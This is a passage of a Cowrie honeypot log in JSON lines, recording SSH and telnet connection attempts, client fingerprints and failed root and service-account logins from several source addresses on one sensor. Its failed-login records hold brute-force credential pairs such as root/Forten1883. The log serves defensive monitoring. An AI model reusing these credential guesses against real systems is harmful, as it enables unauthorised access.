h-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:03.371866Z","src_ip":"103.15.222.183","session":"ec99d2207878","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:04.111780Z","src_ip":"103.15.222.183","session":"ec99d2207878","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":48038,"dst_ip":"159.203.135.109","dst_port":22,"session":"e67076333f7e","protocol":"ssh","message":"New connection: 109.237.96.109:48038 (159.203.135.109:22) [session: e67076333f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:04.419493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:04.424905Z","src_ip":"109.237.96.109","session":"e67076333f7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:04.516128Z","src_ip":"109.237.96.109","session":"e67076333f7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:04.802181Z","src_ip":"109.237.96.109","session":"e67076333f7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.548446893692017,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:05.080982Z","src_ip":"50.6.8.71","session":"2a7f46dfaa20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:05.360766Z","src_ip":"103.15.222.183","session":"ec99d2207878","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:05.896439Z","src_ip":"109.237.96.109","session":"e67076333f7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53918,"dst_ip":"10.17.0.5","dst_port":23,"session":"220c68f99939","protocol":"telnet","message":"New connection: 50.6.8.71:53918 (10.17.0.5:23) [session: 220c68f99939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:08.156086Z"}
{"eventid":"cowrie.session.closed","duration":31.78962230682373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:19.293231Z","src_ip":"50.6.8.71","session":"2f68ac466851","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":39254,"dst_ip":"159.203.135.109","dst_port":22,"session":"c53df5e70c4c","protocol":"ssh","message":"New connection: 200.77.172.159:39254 (159.203.135.109:22) [session: c53df5e70c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:21.118649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:21.123953Z","src_ip":"200.77.172.159","session":"c53df5e70c4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:21.203121Z","src_ip":"200.77.172.159","session":"c53df5e70c4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:21.535565Z","src_ip":"200.77.172.159","session":"c53df5e70c4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50810,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc3b142a61b4","protocol":"telnet","message":"New connection: 50.6.8.71:50810 (10.17.0.5:23) [session: fc3b142a61b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:22.086195Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:22.616682Z","src_ip":"200.77.172.159","session":"c53df5e70c4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50826,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5a98e00a4bb","protocol":"telnet","message":"New connection: 50.6.8.71:50826 (10.17.0.5:23) [session: f5a98e00a4bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:23.157882Z"}
{"eventid":"cowrie.session.closed","duration":31.49088478088379,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:24.165105Z","src_ip":"50.6.8.71","session":"848bf1df64a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50836,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9882f44b7fc","protocol":"telnet","message":"New connection: 50.6.8.71:50836 (10.17.0.5:23) [session: d9882f44b7fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:24.648014Z"}
{"eventid":"cowrie.session.closed","duration":33.80899262428284,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:26.221614Z","src_ip":"50.6.8.71","session":"bdd9196c3b4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53818,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1e737d06db1","protocol":"telnet","message":"New connection: 50.6.8.71:53818 (10.17.0.5:23) [session: e1e737d06db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:38.811805Z"}
{"eventid":"cowrie.session.closed","duration":35.14762020111084,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:43.303567Z","src_ip":"50.6.8.71","session":"220c68f99939","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"a858fc1d03f7","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: a858fc1d03f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:46.892437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:46.896970Z","src_ip":"4.210.91.174","session":"a858fc1d03f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:46.964808Z","src_ip":"4.210.91.174","session":"a858fc1d03f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:47.268377Z","src_ip":"4.210.91.174","session":"a858fc1d03f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:48.339562Z","src_ip":"4.210.91.174","session":"a858fc1d03f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38268,"dst_ip":"10.17.0.5","dst_port":23,"session":"be43f7f282ac","protocol":"telnet","message":"New connection: 50.6.8.71:38268 (10.17.0.5:23) [session: be43f7f282ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:52.115168Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38282,"dst_ip":"10.17.0.5","dst_port":23,"session":"f94315534ac5","protocol":"telnet","message":"New connection: 50.6.8.71:38282 (10.17.0.5:23) [session: f94315534ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:54.875789Z"}
{"eventid":"cowrie.session.closed","duration":33.373831033706665,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:55.459903Z","src_ip":"50.6.8.71","session":"fc3b142a61b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.825479984283447,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:55.473370Z","src_ip":"50.6.8.71","session":"d9882f44b7fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56924,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8563e77c87e","protocol":"telnet","message":"New connection: 50.6.8.71:56924 (10.17.0.5:23) [session: b8563e77c87e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:56.832643Z"}
{"eventid":"cowrie.session.closed","duration":36.29575777053833,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:59.453519Z","src_ip":"50.6.8.71","session":"f5a98e00a4bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":42738,"dst_ip":"10.17.0.5","dst_port":22,"session":"0328c7603f9a","protocol":"ssh","message":"New connection: 147.45.199.80:42738 (10.17.0.5:22) [session: 0328c7603f9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:00.503241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:00.511237Z","src_ip":"147.45.199.80","session":"0328c7603f9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:00.613851Z","src_ip":"147.45.199.80","session":"0328c7603f9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:00.915112Z","src_ip":"147.45.199.80","session":"0328c7603f9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:02.015575Z","src_ip":"147.45.199.80","session":"0328c7603f9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56934,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8eec1618823","protocol":"telnet","message":"New connection: 50.6.8.71:56934 (10.17.0.5:23) [session: b8eec1618823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:04.732913Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":40916,"dst_ip":"10.17.0.5","dst_port":22,"session":"013be014500a","protocol":"ssh","message":"New connection: 103.195.236.96:40916 (10.17.0.5:22) [session: 013be014500a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:04.781985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:04.794146Z","src_ip":"103.195.236.96","session":"013be014500a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:05.025172Z","src_ip":"103.195.236.96","session":"013be014500a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:05.974209Z","src_ip":"103.195.236.96","session":"013be014500a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":37012,"dst_ip":"159.203.135.109","dst_port":22,"session":"918ca6601822","protocol":"ssh","message":"New connection: 193.37.70.224:37012 (159.203.135.109:22) [session: 918ca6601822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:06.918668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:06.923983Z","src_ip":"193.37.70.224","session":"918ca6601822","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:07.019709Z","src_ip":"193.37.70.224","session":"918ca6601822","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43706,"dst_ip":"10.17.0.5","dst_port":23,"session":"03ef85ccc45c","protocol":"telnet","message":"New connection: 50.6.8.71:43706 (10.17.0.5:23) [session: 03ef85ccc45c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:07.044093Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:07.221824Z","src_ip":"103.195.236.96","session":"013be014500a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:07.308455Z","src_ip":"193.37.70.224","session":"918ca6601822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:08.406225Z","src_ip":"193.37.70.224","session":"918ca6601822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.789886474609375,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:12.601557Z","src_ip":"50.6.8.71","session":"e1e737d06db1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00149154663086,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:13.010222Z","src_ip":"181.94.225.234","session":"9a82da067599","protocol":"telnet"}
